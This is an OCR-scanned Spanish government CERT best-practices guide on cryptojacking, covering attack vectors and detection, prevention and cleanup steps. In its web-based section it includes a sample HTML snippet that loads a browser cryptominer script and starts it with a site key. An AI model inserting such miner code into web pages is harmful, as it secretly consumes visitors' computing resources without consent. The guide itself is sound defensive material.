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1. Sobre CCN

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad
de la Informacién del Centro Criptoldgico Nacional, CCN, adscrito al
Centro Nacional de Inteligencia, CNI. Este servicio se cred en el afo
2006 como CERT Gubernamental Nacional espaiiol y sus funciones
quedan recogidas enlaLey 11/2002 reguladora del CNI, el RD 421/2004
de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015
de 23 de octubre.

Su mision, por tanto, es contribuir a la mejora de la ciberseguridad
espaniola, siendo el centro de alerta y respuesta nacional que coopere
y ayude a responder de forma rapida y eficiente a los ciberataques y a
afrontar de forma activa las ciberamenazas, incluyendo la coordinacion
a nivel publico estatal de las distintas Capacidades de Respuesta a
Incidentes o Centros de Operaciones de Ciberseguridad existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro
y confiable, preservando la informacion clasificada (tal y como recoge
el art. 4. F de la Ley 11/2002) y la informacion sensible, defendiendo
el Patrimonio Tecnoldgico espafiol, formando al personal experto,
aplicando politicas y procedimientos de seguridad y empleando y
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico
del Sector Publico es competencia del CCN-CERT la gestion de
ciberincidentes que afecten a cualquier organismo o empresa publica.
En el caso de operadores criticos del sector publico la gestion de
ciberincidentes se realizara por el CCN-CERT en coordinacion con el
CNPIC.

-CERT

El CCN-CERT es

la Capacidad de
Respuesta a incidentes
de Seguridad de la
Informacion del Centro
Criptoldgico Nacional,
CCN.
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2. Introduccion
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Desde que el campo de las criptomonedas
nacié en 2009 no ha dejado de desarrollarse
y evolucionar. Bitcoin fue la primera moneda
virtual que aparecio, y actualmente sigue siendo
la mas importante, pero no es la tnica: Ethereum,
Litecoin y Ripple son algunos ejemplos de estas
nuevas criptomonedas (se calcula que existen
alrededor de 700 diferentes).

En un primer momento, cuando el Bitcoin no llegaba al céntimo de ddlar
no se esperaba la gran relevancia que cobraria en el futuro, alcanzando
valores histéricos cercanos a los 19.000 ddlares, con picos puntuales
de 20.000 dolares. Y es que, hoy por hoy, este tipo de monedas se va
convirtiendo en un método de pago tan valido como el dinero de papel,
pudiendo realizar compras por internet, reservar viajes online e incluso
intercambiarlo por efectivo fisico en sitios web y cajeros.
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2. Introduccion

Cada vez mas instituciones y gobiernos empiezan a aceptar este tipo
de comercio: Australia en sus presupuestos de 2017-2018, Japdn,
Suiza, Noruega y Paises bajos son algunos ejemplos, lo que implica un
constante crecimiento de este tipo de tecnologias, asi como su uso.

El atractivo anonimato que permiten las transacciones de este nuevo
tipo de moneda virtual, al estar apoyadas en una red descentralizada
conocida como Blockchain, asi como la dificultad cada vez mayor de
infeccién de ransomware (la amenaza mas concurrente y dafiina en
los Ultimos afios) debido a las politicas de deteccién y prevencion,
junto a las campafias de concienciacion, han propiciado que los
cibercriminales se decanten cada vez mas por una estrategia de ganar
dinero fraudulenta conocida como “cryptojacking”.

El término eryptojacking deriva de la conjuncion de Cryptocurrency
(Criptomonedas) y Hijacking (Secuestro), definiéndose como el
uso ilegitimo de un dispositivo electronico, sin el consentimiento
o conocimiento del usuario, por parte de los cibercriminales y
aprovechando la capacidad de procesamiento y de calculo de la tarjeta
grafica, de la memoria y del procesador para realizar el proceso de
obtencion de criptomonedas y hacerse con el total de las ganancias.

El auge del cryptojacking ha ido aparejado al alza de las cotizaciones
de las monedas virtuales, ademas se caracteriza por ser facil de
efectuar y automatizar, con la dificultad de detectar su presencia en el
dispositivo infectado. Durante el afio 2017 se produjo un incremento
del 34.000% en ataques relacionados con el cryptojacking. Tan solo en
los tres ultimos meses de 2017 el crecimiento de este tipo de practicas
fue del 8.50 %.

El CCN-CERT vya analizd en el Informe de Amenazas 25/18
Cryptojacking esta tendencia, presentado en un nivel mas técnico este
nuevo tipo de amenaza. Ahora, con este informe de Buenas Practicas, el
Centro Criptoldgico Nacional pretende orientar al usuario en el correcto
empleo de las tecnologias, para evitar asi los riesgos derivados del
cryptojacking.

CCN-CERT BP/12: Bucnas Practicas en Cryptojacking


https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/3027-ccn-cert-ia-25-18-cryptojacking/file.html
https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/3027-ccn-cert-ia-25-18-cryptojacking/file.html

2.1 Obtencion de criptomonedas
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B
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Paraentendercomoprocedenloscibercriminales
es imprescindible, al menos, conocer como se
obtienen las criptomonedas (minado), mas alla
de la compraventa de estas. Dos (2) conceptos
muy importantes son el de wallet (billetera) y
blockchain (cadena de bloques). El primero hace
referencia al analogo digital de un monedero
donde se reciben las monedas. En cuanto al
segundo, se puede pensar en él como un libro
de cuentas donde quedan apuntadas todas las
transacciones que se realizan.

Si bien es cierto que tanto el origen como el destino de estas
transacciones son anonimos, la cantidad de dinero, asi como el
momento en que se envid este son siempre conocidos y se pueden
consultar en la blockchain. El minado consiste en calcular una serie
de algoritmos para verificar las transacciones realizadas hasta ese
momento. El que primero encuentra la solucion a estos calculos recibe
el premio en criptomonedas por realizar dicha comprobacion.

De forma sencilla y superficial, minar Bitcoin (o cualquier moneda
virtual) se traduce en resolver computacionalmente un “problema
matematico” relacionado con criptografia. Resolver este problema
otorga como recompensa una proporcion de Bitcoin. La dificultad
reside, en primer lugar, en la competencia de muchos equipos para
resolver dicho problema y obtener asi las ganancias asociadas, pero
ademas en la propia complejidad del problema matematico.

Asimismo, como es en el caso del Bitcoin, desde un primer momento
se establecié un maximo total de monedas digitales que podian
existir, por lo que cada vez quedan menos por ‘minar”. Todo esto hace
que el proceso de minado requiera una gran cantidad de recursos y
equipamiento.
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Dada la alta carga computacional que supone, los atacantes buscan

diferentes formas de acceder al maximo numero posible de equipos

entre los que se distribuye el trabajo.
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3. Objetivos de los

ataques

Segun la forma de distribuir el cédigo dafino y el objetivo del ataque, se
pueden considerar diferentes casos.

3.1 Equipos de usuario

3.1.1 Cédigo daiiino

CCN-CERT BP/12:

A continuacion, se sefialan diferentes tipos de ataques que tienen como
objetivo equipos de usuario.

Aunque en un principio el cédigo dafiino no haya sido disefiado para
distribuir explicitamente cryptominers', se ha observado como cada vez
mas malware incluye como funcionalidad adicional el uso de recursos del
equipo infectado para obtener criptomonedas.

Un ejemplo es el caso del troyano Trickbot, que comenzd como un troyano
bancarioy que en 2018 fue modificado para funcionar como cryptominer; o
NjwOrm, un malware perteneciente a la familia RAT (Remote Administration
Tool) muy propagado por Oriente Medio y que evoluciond para afiadir
minado de Bitcoin. En algunos casos se han utilizado botnets, redes de
computadores “zombis” que quedan a merced de quien los controle.



El objetivo perseguido es reducir la complejidad del proceso de minado al
repartir el esfuerzo computacional entre el mayor nimero de ordenadores
posibles, y por tanto reducir el tiempo de obtencion de las criptomonedas.
Un caso muy significativo es el de la botnet Smominru, que afecta a mas
de 500.000 equipos y que es utilizada para minar la criptononeda Monero.

3.1.1.1 Correos fraudulentos / phishing

Se trata de un método de ataque que busca obtener informacién personal
o confidencial de los usuarios por medio del engafio o la picaresca,
recurriendo a la suplantacion de la identidad digital de una entidad de
confianza en el ciberespacio.

Mediante campafas de spam (correo basura) o de phishing el atacante
puede tratar de engafiar al usuario para que descargue y ejecute un
programa que supuestamente es legitimo, pero que en realidad es un
cryptominer. Un caso tipico de engafio es el uso de documentos de
ofimaética, en el que se busca que el usuario realice una serie de acciones
que den pie a abrir o visualizar el contenido del fichero.

X
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3.1.1.2 Los Exploit Kits

Los Exploit Kits son herramientas que automatizan la busqueda de
vulnerabilidades en un sistema para poder infectarlo. Normalmente se
aprovechan de errores en el navegador o de algun complemento instalado
para realizar la descarga del codigo dafino.

Uno de los ejemplos mas distinguido es RIG Exploit Kit, utilizado
principalmente por una campafia denominada Ngay tratando de distribuir
cryptominers para las criptomonedas Monero y Electroneum.

# Po. M. Re, Host URL Body Comments
newcampl312.k [ 3445 Landing Page

B35 HTTP GET 200 18823576120 [PMjOwMTYSAOQKOMEZb.. 1319.. RIG_EK (Maware Payioad)
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3.1.21oT

Con la evolucion del mundo loT (Internet de las cosas), cada vez mds
dispositivos electronicos de uso cotidiano disponen de acceso a internet.
Para 2025, se estima que el nimero de dispositivos IoT conectados podria
alcanzar los 75 billones, lo que supone una gigantesca red de equipos
interconectados que podrian usarse de manera malintencionada, como
por ejemplo para minar criptomonedas.

54

A modo de ejemplo, una variante de 2017 de Mirai, una botnet que se
encarga de, entre otras cosas, localizar dispositivos 10T con escasa
seguridad o nula, posee la capacidad de minar Bitcoin.

CCN-CERT BP/12:



3.1.3 Web-based

En esta categorfa se incluyen aquellas formas de minado que se
aprovechan de los visitantes de una pagina web en la que se ejecuta, en
la mayoria de los casos, un cédigo en JavaScript que realiza el minado de
forma discreta.

No es necesaria la infeccion del equipo visitante, pero sin embargo es
posible que el sitio haya sufrido una modificacion del contenido por parte
de un tercero sin autorizacion para incluir el codigo necesario. Existe, por
tanto, el riesgo de que el atacante incluya complementariamente cualquier
otro tipo de codigo dafino.

Si bien es cierto que al principio este tipo de minado se encontraba
principalmente en paginas de dudosa reputacién (pirateria, por ejemplo),
hoy en dia se encuentran en muchas paginas populares.

El cryptominer mds habitual es Coinhive (actualmente se estima que
se encuentra en mas de 33.000 sitios) y en segundo lugar Cryptoloot,
otro minador escrito en JavaScript, pero dirigido a la moneda Monero.
El alto numero de paginas web y el caracter comercial de la mayoria de
los cryptominers puede indicar que la incorporacion del cédigo se haya
producido de manera legitima.

<script sre="https://coin-hive.com/1lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('2up51nIZjzCImZKMcYqRIE66UIHBZS1KY ') ;

miner.start():
</seript></body>
</html>
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3.1.4 Dispositivos maviles

Los dispositivos moviles también se han visto afectados por este nuevo
tipo de amenaza. Los cryptominers se suelen encontrar en aplicaciones
piratas que ofrecen falso contenido premium de manera gratuita. Por otro
lado, también puede ocurrir que aplicaciones legitimas sean modificadas
por parte de un tercero sin autorizacion.

El medio de infeccién es similar al de cualquier otro tipo de malware,
siendo habitual en este caso la ingenieria social y el engafio como medio
para convencer al usuario de instalar una aplicacion dafiina.

Cabe recordar que los cryptominers suponen una gran carga para el
dispositivo, lo cual es mas perjudicial y notable en teléfonos moviles,
donde la bateria se ve mermada y se llega a apreciar un gran descenso del
rendimiento del terminal.

Como ejemplo, el malware Loapi, que utiliza al maximo los recursos
del dispositivo movil y, dado el calor que el aparato genera, algunos
componentes fisicos pueden deformarse, quemarse o quedarse
inutilizados.
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3.2 Servidores

Los cibercriminales buscan infectar, en muchos casos, grandes servidores
gracias a su alta capacidad de computo y asi minar criptomonedas mas
rapido. Las dos vias principales son las siguientes:

Infectar los equipos que estan detras de los servidores mediante alguna de
las técnicas mencionadas anteriormente, como por ejemplo la ingenieria
social.

Usar técnicas mas especificas para atacar servidores, como por ejemplo
explotacion de vulnerabilidades, fuerza bruta, inyeccion SQL, etc.
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4. Buenas practicas

A continuacion, se enumeran un conjunto de buenas practicas para
evitar posibles incidentes relacionados con el cryptojacking.

4.1 Buenas practicas frente a
cryptominers de navegador

. Deshabilitar JavaScript. La mayoria de los cryptominers se apoyan en
JavaScript para ejecutarse, por lo que deshabilitandolo se impide su
ejecucion. Esto se puede lograr con extensiones como NoScript para
Firefox o ScriptSafe de Chrome.

- Q% vino s
XC& SSMA®
S & S CONFABLE ® S 0 ..youtube.com
) POR DEFECTO € S ;‘:'1 & _doubleclick.net
S & 'S COnNFSBLE 8 E 0 ...google.com
® & S conmmBLE (—:} & O _gstatic.com
I S £ S CONFABLE @ S 0 _ytimg.com
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ScriptSafe v1.0.9.3 Opciones | Log | | x |
Q addons.mozilla.org

e | e | oo | oo |

Esta ficha no ha cargado elementos externos

@andryou | Website | Github | [N

Como se puede apreciar, ambas extensiones son similares y trabajan bien
de manera automatica. Estas extensiones se basan en listas de paginas
confiables (whitelist). En cualquier caso, siempre se pueden, desde las
opciones, configurar los permisos segun la categorizacion que se haya
hecho del sitio web.

Opciones de NoScript

Iepote  Dgora  Rastabieos
Gererel Pertriicd for i Aparenca Bawenit

Tearatars (= COMARLES
& oo Sm":l [T
Clesp Dotgss Cowmwricmtrada Foanz [poses Cletg Secgpes Som
‘ Uso de bloqueadores de ventanas emergentes. Puede ocurrirque el codigo

del cryptominer esté alojado en ventanas de publicidad emergentes que
quedan minimizadas y son mas complicadas de localizar. Se recomienda
el uso de extensiones como Adblock o PopUp Blocker. Ambas extensiones
no requieren de ninguna configuracion y en la gran mayoria de los casos
funcionan perfectamente una vez se instalan.

. Mantener actualizada una lista negra de paginas que usan cryptominers.
Para ello, se pueden utilizar extensiones como NoCoin o Minerblock. Esta
Ultima, ademas, ofrece una segunda proteccién complementaria a la
lista negra al buscar en el propio codigo fuente de la pagina codigo que
potencialmente puede pertenecer a un cryptominer.

CCN-CERT BP/12:




Mantener las extensiones utilizadas. Algunos cryptominers utilizan
vulnerabilidades existentes en los complementos y extensiones de los
navegadores, por lo que es importante mantenerlos actualizados.

Utilizar servicios online como cryptojackingtest.com, que escanean el
navegador en busca de posibles infecciones.

Usar navegadores seguros. Existen alternativas como el navegador
Opera que ya tiene incorporado funcionalidades para bloquear este tipo
de amenazas sin uso de extensiones de terceros.

4.2 Buenas practicas frente al
malware

Tener actualizado el antivirus. Esta debe ser la primera linea de defensa contra
las nuevas amenazas que van apareciendo dia a dia, por lo que mantener la base
de datos de firmas al dia es primordial.

Mantener actualizado el sistema operativo. s importante instalar las
actualizaciones del sistema operativo que va publicando el fabricante, pues
suelen solucionar vulnerabilidades que se van descubriendo y que pueden ser
aprovechadas por los cibercriminales. Del mismo modo, las aplicaciones y
servicios que se usen deben estar actualizados.

Desde Windows 10 se pueden buscar nuevas actualizaciones haciendo clic en
la esquina inferior izquierda y tecleando “Actualizaciones”. En caso de que se
requieran actualizaciones, aparecera una ventana donde se pide reiniciar el equipo.

Filias

Windows Update
“lac

Configuraién Actualizacicn y seguridad

Es necesario reiniciar
€ dispositivo se reiniciard fuera de las horas activas.

& configuracion de Windows Update & e
2 Ver el historial de actualizaciones
201810 Actualizacion acumulativa para Windaws 10 Version
1803 para sistemas basados en 64 (KB44G2915)

Estade: feinicio pendiente

5 Administiar las actualizaciones de mapas @' seguidad de Windows

T copia de seguidad
Actualizacion de Adobe Flash layer para Windows 10 Version
1803 sistemas basados en 464 (KE4462930)

G B Estados Reinicio pendiente

Intel Carporatian - Display - /1472017 1200:00 AN -
2220164793
Estado: Instalacion pendiente

D Reauperadion
P BCuazaciones - e ressiados wet © Adivacion
P actualizaciones pendientes de

Intel - et - 312/2018 120300 AM - 10.51123
instalar & Encontrar mi dispositivo. Estadk:

: nstalacidn pendiente

P actualizaciones windows 10 Reiniciar ahara  Programar el reinicio

W Para programadores

£ actualizaciones pendientes para
este equipo & programa Windows Insider
P actualizaciones
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Filtros antispam en el correo. De esta manera se podran filtrar aquellos
correos ilegitimos y asi evitar la descarga de codigo dafiino. Para mas
informacion: Filtro anti-spam Gmail Filtro anti-spam Outlook

Nunca habilitar las macros en un documento ofimatico. Si se hace, al
menos estas deben ir firmadas por el remitente.

Monitorizar el uso de recursos por parte del sistema. Esto se puede
conseguir mediante la aplicacion resmon.exe, que se puede lanzar
haciendo clic en Inicio y escribiendo resmon. Se abrira una ventana desde
donde podremos controlar el uso de la CPU de los programas abiertos.

Mostrar las extensiones de los archivos. £l engafio es una practica
habitual utilizada por el malware en general. Los cibercriminales pueden
camuflar sus ficheros cambiando el icono y utilizando “dos extensiones”
con el objetivo de camuflar un archivo ejecutable dafiino bajo la apariencia
de un documento totalmente inocuo, como un archivo de texto, una foto
0 una cancion.

exto].td.exe

Para mostrar las extensiones de los archivos, desde Inicio escribir
‘opciones del explorador de archivos” y se desmarca la siguiente opcion:


https://support.google.com/a/answer/2368132?hl=es
https://support.microsoft.com/es-es/office/cambiar-el-nivel-de-protecci%c3%b3n-en-el-filtro-de-correo-no-deseado-e89c12d8-9d61-4320-8c57-d982c8d52f6b?ui=es-es&rs=es-es&ad=es

Opciones de carpeta X

General Ver  Buscar

Vistas de campeta
Puede aplicar esta vista (como Detalles o lconos) a
lodas las carpetas de este tipo

Aplicar a las campetas Restablecer capetas

Configuracién avanzada:
Mostrar letras de unidad A
Mostrar notfficaciones del proveedor de sincronizacién
[] Mostrar siempre iconos, nunca vistas en miniatura
[ Mostrar siempre mends
Ocultar archivos protegidos del sistema operativo (recome
Ocultar corflictos de combinacién de carpetas
Qcultar las extensiones de archivo para tipos de archivo ¢ |
QOcultar unidades vacias
D Restaurar ventanas de carpetas anteriores al iniciar sesié
Usar el Asistente para compartir flecomendado)
[[] Usarlas casillas para seleccionar elementos v

RICIHE]

Restaurar valores predeterminados

Aceptar Cancelar

Uso de maquinas virtuales frente a archivos sospechosos. Es
recomendable que, por ejemplo, aquellos archivos descargados de sitios
no oficiales o adjuntos al correo sean ejecutados primeramente en una
magquina virtual. Asi mismo, existen numerosos servicios online que
pueden servir para obtener una primera impresion del fichero, tales como

VirusTotal o Malwr.
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4.3 Otras buenas practicas

CCN-CERT BP/12:

Cambiar las credenciales por defecto que vienen de fabrica en los
dispositivos electronicos y elegir un par de usuario y contrasefa robusto.
Existe codigo dafino que se propaga realizando fuerza bruta a servicios
como SSH o telnet. Se debe elegir una contrasefia lo suficientemente larga
con una combinacion de letras (mayusculas y minudsculas), nimeros y
simbolos.

No descargar ni instalar aplicaciones de sitios no oficiales.

Concienciacion de los usuarios. Por naturaleza, las personas tienden a
cometer errores, y gran parte de la seguridad de una organizacion recae
en el usuario final de un modo u otro. Que los usuarios sean conscientes
de las amenazas del mundo digital y adopten buenas practicas en su
interaccion diaria con la tecnologia es un elemento crucial.




5. Deteccion de
cryptominers

En primer lugar, en la deteccion de cryptominers sera necesario

diagnosticar si un equipo esta infectado. Para ello se debe comprobar

si se manifiesta alguno de los siguientes sintomas:

Lentitud general de la maquina o que la velocidad de conexion a Internet
se ralentiza.

Procesador con una alta carga de computo aun cuando no hay aplicaciones
abiertas.

Sobrecalentamiento de los componentes y un alto consumo de energia
eléctrica.

Procesos no conocidos ejecutandose.

Todos estos sintomas son causa de la gran utilizacion de recursos

que necesita el cryptominer. Las herramientas que pueden ayudarnos

en esta tarea son resmon (que permite ver el uso de CPU, programas

ejecutandose, etc.) y Autorun para poder detectar programas

desconocidos que se ejecuten al inicio del sistema (las pestafias Logon

y Scheduled Tasks son las mas Utiles para este caso).
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Figura 16.- Aplicacion Autorun ejecutandose.
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Asimismo, existen servicios online que analizan una pdgina web en

busca de cualquier tipo de malware, incluido los cryptominers. Una de

ellas es https://urlscan.io/, la cual afiadio la deteccion de minadores

web en enero de 2018 que con una interfaz muy intuitiva, solo es

necesario colocar la url que se desea escanear.

urlscan.io

A sanclice o ph vty

Figura 17.- urlscan.io

I Putiic Sean | G Options

Complementando a todo lo anterior, se debera realizar un analisis del

equipo con la tecnologia antivirus que se disponga complementandolo

con un examen facilitado por la herramienta de Malwarebytes.
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6. Monitorizacion

Con la herramienta “Monitor de recursos” de Windows se pueden
visualizar todos los procesos que se estan ejecutando y el uso de
CPU que hace cada uno, lo cual puede servir para identificar mas
rapidamente un posible proceso dafiino. No obstante, es necesario
asegurarse que no se esta ejecutando cualquier otro proceso que haga
un uso importante de CPU y que pueda llevarnos a equivoco.

Para ejecutar resmon es necesario hacer clic en Inicio y escribir
‘resmon.exe”.
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Como se aprecia en la imagen, navegando por las pestafias se puede
motorizar el uso de CPU, memoria usada, uso de disco y redes. Como
complemento, podemos tener vigilada la temperatura del equipo. En
este caso, se recomienda usar el programa gratuito Open Hardware
Monitor. Tras su ejecucion, se presenta una ventana como la siguiente,
donde se observa la temperatura de cada procesador, asi como la
carga de memoria y el uso de esta, entre otras cuestiones.

a
Sensor Walue Max -\
@ DESKTOP-KBAGSAL
E Dell 02vHIP
B intei Core i5-T200U
M Clogis
Bus Speed 100 MHz 100 MHz
CPU Core #1 2712 MHz 34 MHz
CPU Core #2 2712 MHz 3114 MHz
& Temperatures
CPU Core #1 630°C o
CPU Core #2 61.0°C 66,0 *C
CPU Package 630°C o
B Load
CPU Todal 60,0% 1000 %
CPU Core #1 582 % 1000 %
CPU Core #2 608 % 1000 %
B Powers
CPU Package B2wW 1naw
CPU Coves 58W B5SW
CPU Graphics ow 13W
CPU DRAM 0.9 W 13W
M Generic Memory
B Load
Memory 70.8 % T.3%
B Data
Uséd Memary 36 GB 5.6 GB w
< »

En general, una temperatura entre 25 y 35 grados centigrados es la
que ha de obtenerse si no se esta ejecutando ningun programa. La
temperatura maxima no deberia superar los 75 grados centigrados.




7. Desinfeccion

La desinfeccion del equipo depende del cryptominer. Si, por ejemplo, se
trata de un cryptominer implementado en una pagina web bastara con
cerrar la pestafia del navegador para finalizar su ejecucion. Si se trata
de un cryptominer que crea persistencia en el sistema se recomienda:

. Desconectar el equipo de la red. Para ello, en la barra inferior derecha,
se podra observar un icono con forma de pantalla, se debe hacer clic
en el mismo y a continuacion en “Configuracion de red e internet”. En la
siguiente ventana se debera seleccionar la opcion “Cambiar opciones del
adaptador”.

Estado

Estado de red

E—E—9

tefgad.com

Estés conectado a Internet.
Si tienes un plan de datos limitado, puedes convertir esta red
en una conexion de uso medido o cambiar otras propiedades.

g {t ]] Cambiar las propiedades de conexién

Mostrar redes disponibles

fona con
Moda avidn cobertura Cambiar la configuracion de red

@ Cambiar opciones del adaptador
Visualiza los adaptadores de red y cambia la configuracién de
conexién.
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Seguidamente, se ha de deshabilitar las diferentes conexiones que
se mostraran haciendo clic derecho en cada icono y seleccionando
"Deshabilitar™.

% Conexiones de red

A % > Panel decontrol > Fedes e Intemet » Conexiones de red

Organ zar v Deshabilitar este dispositivo de red Oig nosticar esta conexion Cambiar el nombre de esta conexidn Ver el
Conexién de red Bleetooth . Ethemet L-
Ne i : Sy Desconectado
% Biu svice (Persona & pealter PCle FE Fam - STP)
9 Desactivar
Estado
Diagnosticar

$ Conexiones de puente

Crear acceso directo

® Cambiar nombre

& Propiedades

Analizar el equipo con un antivirus actualizado.

Analizar el equipo con otras tecnologias Antimalware, como el ya
mencionado Malwarebytes.

™ Manwarebytes Gratis 3.6.1 s [u] x

Malwarebytes E Activar licencia | |IDAGHUBKEar aRora

oteccion en tiempo real

Active aqui las capas de proteccion en

EmDeCemOS tiempo real.

. 5 Proteccion web: ® | Desactivada
lim pian do su e (6 ot
Proteccién contra malware: ® | Desactivada

i Proteccién contra
equipo S

Estado del a
Uktimo andlisis: Ni
Detecciones de analisis: 0
Analizar ahora

Sistema

Actualizaciones: Actual

‘ En dltima instancia, se aconseja el formateo y la reinstalacion completa
del sistema operativo, siguiendo lo indicado en las guias CCN-STIC
correspondientes
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8. Conclusiones

El cryptojacking esta claramente en auge,
desbancando incluso a la amenaza que supone
el ransomware, ya que los cibercriminales ven
en esta practica una forma mas discreta y
menos daiina de ganar dinero.

Si bien es cierto que la naturaleza de un cryptominer por si misma,
no es tan dafiina como otro tipo de codigo malicioso (por ejemplo,
los cryptominers de paginas web, cuyo Unico perjuicio es utilizar una
gran cantidad de recursos del equipo en vez de eliminar ficheros,
bloquearlos,..), hay que hacer hincapié en que los cryptominers
suelen venir anexos a otros codigos dafiinos como troyanos, botnets
0 gusanos, que pueden llegar a realizar acciones mas problematicas
como tomar el control de los sistemas o robo de informacién sensible.
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9. Decalogo de
recomendaciones

A continuacion, se
indican diez (10)
recomendaciones
de seguridad en
Cryptojacking




Deshabilitar JavaScript en los navegadores.
Tener actualizado el antivirus y utilizar cortafue-
gos personales para blogquear conexiones sospe-
chosas.

Mantener al dia las actualizaciones del sistema
operativo, asi como del software instalado.

Aplicar los filtros antisoam en el correo para
evitar phishing.

Monitorizar el uso de recursos por el sistema y es-
tudiar el uso de la CPU.

Elegir un par de usuario y contrasena robusto.

No descargar ni instalar aplicaciones de sitios no
oficiales.

Mantener actualizada una lista negra de pdgi-
nas que usan cryptominers (Uso de extensiones
NoCoin o Minerblock).

Mantener visibles las extensiones de los archivos.

Concienciaciéon y educacion (adopcion de
buenas prdcticas por parte de los usuarios).

(CICIN CON cert

centro cri iptolégico nacion al centro criptolégico nacional
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